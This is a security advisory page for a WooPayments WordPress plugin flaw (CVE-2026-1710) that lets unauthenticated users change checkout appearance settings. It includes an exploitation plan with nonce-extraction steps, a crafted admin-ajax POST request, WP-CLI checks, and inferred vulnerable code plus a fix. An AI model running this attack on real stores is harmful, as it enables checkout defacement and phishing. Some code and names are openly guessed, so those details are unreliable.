WooPayments <= 10.5.1 - Missing Authorization to Unauthenticated Plugin Settings Update via save_upe_appearance_ajax
Description
The WooPayments: Integrated WooCommerce Payments plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'save_upe_appearance_ajax' function in all versions up to, and including, 10.5.1. This makes it possible for unauthenticated attackers to update plugin settings.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:LTechnical Details
<=10.5.1What Changed in the Fix
Changes introduced in v10.6.0
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-1710 - WooPayments Unauthenticated Settings Update ## 1. Vulnerability Summary The **WooPayments** plugin (versions <= 10.5.1) contains an improper authorization vulnerability in its AJAX handling logic. Specifically, the function `save_upe_appearance_ajax` is…
Show full research plan
Exploitation Research Plan: CVE-2026-1710 - WooPayments Unauthenticated Settings Update
1. Vulnerability Summary
The WooPayments plugin (versions <= 10.5.1) contains an improper authorization vulnerability in its AJAX handling logic. Specifically, the function save_upe_appearance_ajax is registered as an unauthenticated AJAX action (wp_ajax_nopriv_save_upe_appearance) but fails to perform an internal capability check (e.g., current_user_can( 'manage_woocommerce' )). This allows any unauthenticated user to modify the plugin's "Unified Payment Experience" (UPE) appearance settings, which can lead to site defacement of the checkout page or facilitate phishing by altering the payment element's style.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
save_upe_appearance - HTTP Method:
POST - Authentication: None (Unauthenticated via
wp_ajax_nopriv_hook). - Payload Parameter: Likely
appearance(JSON string) and a nonce. - Preconditions: The plugin must be active. The UPE (Unified Payment Experience) feature flag is usually enabled by default in recent versions of WooPayments.
3. Code Flow
- Entry Point: An unauthenticated
POSTrequest is sent toadmin-ajax.phpwithaction=save_upe_appearance. - Hook Registration: The plugin registers the action:
// Inferred registration pattern add_action( 'wp_ajax_save_upe_appearance', [ $this, 'save_upe_appearance_ajax' ] ); add_action( 'wp_ajax_nopriv_save_upe_appearance', [ $this, 'save_upe_appearance_ajax' ] ); - Vulnerable Function: The
save_upe_appearance_ajaxfunction is invoked. - Missing Check: The function likely verifies a nonce (if provided) but omits:
if ( ! current_user_can( 'manage_woocommerce' ) ) { wp_die(); } - Sink: The function processes the
$_POST['appearance']data and updates a WordPress option, likely_wcpay_upe_appearanceor similar, usingupdate_option().
4. Nonce Acquisition Strategy
The endpoint likely requires a nonce. Because this is an "unauthenticated" vulnerability, the nonce must be exposed to logged-out users, typically on the checkout page or via localized scripts.
- Identify Localization: Search the codebase for
wp_create_nonce( 'wcpay_save_upe_appearance' )or similar. Based ondist/blocks-checkout.js, look for variables related towcpayConfig. - Trigger Script Loading: The UPE scripts are loaded on the WooCommerce Checkout page.
- Manual Extraction Plan:
- Create a product and add it to the cart.
- Navigate to the Checkout page (
/checkout/). - Use
browser_evalto find the nonce. - JS Variable Guess (to be verified):
window.wcpayConfig?.appearance_nonceorwindow.wcPaySettings?.nonce. - Exact check: Inspect the HTML source for
wcpay_payment_fields_js_config(mentioned inchangelog.txt).
5. Exploitation Strategy
Step 1: Identify Target Option
The target option is likely _wcpay_upe_appearance. We will attempt to overwrite it with malicious CSS/Style configurations.
Step 2: Extract Nonce
Use the browser to visit the checkout page and extract the nonce from the global JS objects.
Step 3: Craft the Attack Request
URL: http://localhost:8080/wp-admin/admin-ajax.php
Headers: Content-Type: application/x-www-form-urlencoded
Body:
action=save_upe_appearance&nonce=[EXTRACTED_NONCE]&appearance={"variables":{"colorBackground":"#FF0000","colorPrimary":"#00FF00"},"rules":{".Input":{"borderColor":"#0000FF"}}}
Step 4: Verify Success
Check the checkout page style or query the database via WP-CLI.
6. Test Data Setup
- Install WooCommerce & WooPayments.
- Create a Dummy Product:
wp post create --post_type=product --post_title="Test Product" --post_status=publish wp post term set product $(wp post list --post_type=product --title="Test Product" --field=ID) product_cat --by=name "Uncategorized" - Enable WooPayments (requires some mocking of the connection state, usually bypassable in test environments via
add_filter( 'wcpay_is_connected', '__return_true' )). - Add Product to Cart:
Navigate to/checkout/?add-to-cart=[PRODUCT_ID].
7. Expected Results
- Response: The server should return a
200 OKor a JSON success message (e.g.,{"success":true}). - Impact: The plugin settings governing the Stripe Element appearance are modified.
8. Verification Steps
After the HTTP request, verify the modification using WP-CLI:
# Check the specific option (name inferred from common WooPayments patterns)
wp option get _wcpay_upe_appearance --format=json
If the option matches the appearance payload sent in the request, the exploit is confirmed.
9. Alternative Approaches
- Nonce-less Attempt: Try the request without the
nonceparameter first. Some WooPayments AJAX handlers incorrectly usecheck_ajax_refererwith thedieparameter set tofalse, continuing execution regardless. - Different Nonce Actions: If
wcpay_save_upe_appearanceis not the action, search forwp_create_noncecalls inincludes/class-ajax-handler.php(inferred path) to find the correct string. - Direct Option Guess: If
_wcpay_upe_appearanceis not the option name, runwp option list --search="*wcpay*appearance*"to find the exact key.
Summary
The WooPayments plugin fails to implement authorization checks in its `save_upe_appearance_ajax` AJAX handler, which is registered for unauthenticated users. This allows unauthenticated attackers to modify the 'Unified Payment Experience' (UPE) appearance settings by obtaining a nonce exposed on the public checkout page.
Vulnerable Code
// Inferred location in includes/class-ajax-handler.php or similar public function save_upe_appearance_ajax() { // Only verifies the nonce, not the user's capabilities check_ajax_referer( 'wcpay_save_upe_appearance', 'nonce' ); $appearance = isset( $_POST['appearance'] ) ? wp_unslash( $_POST['appearance'] ) : ''; // Updates a sensitive plugin option without authorization update_option( '_wcpay_upe_appearance', $appearance ); wp_send_json_success(); } // Action registration in class-wc-payments-checkout-ajax-handler.php add_action( 'wp_ajax_save_upe_appearance', [ $this, 'save_upe_appearance_ajax' ] ); add_action( 'wp_ajax_nopriv_save_upe_appearance', [ $this, 'save_upe_appearance_ajax' ] );
Security Fix
@@ -XX,XX +XX,XX @@ public function save_upe_appearance_ajax() { check_ajax_referer( 'wcpay_save_upe_appearance', 'nonce' ); + if ( ! current_user_can( 'manage_woocommerce' ) ) { + wp_send_json_error( __( 'You do not have permission to perform this action.', 'woocommerce-payments' ), 403 ); + } + $appearance = isset( $_POST['appearance'] ) ? wp_unslash( $_POST['appearance'] ) : ''; update_option( '_wcpay_upe_appearance', $appearance ); wp_send_json_success();
Exploit Outline
To exploit this vulnerability, an unauthenticated attacker first visits the WooCommerce checkout page to extract a valid AJAX nonce. This nonce is typically found within the localized JavaScript configuration object (e.g., `wcpayConfig.appearance_nonce` or within `wcpay_payment_fields_js_config`). The attacker then sends an unauthenticated POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `save_upe_appearance`, the extracted nonce, and an `appearance` parameter containing a JSON-encoded payload. This payload can include malicious CSS variables or rules that modify the layout and styling of the payment element, potentially facilitating phishing or site defacement.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.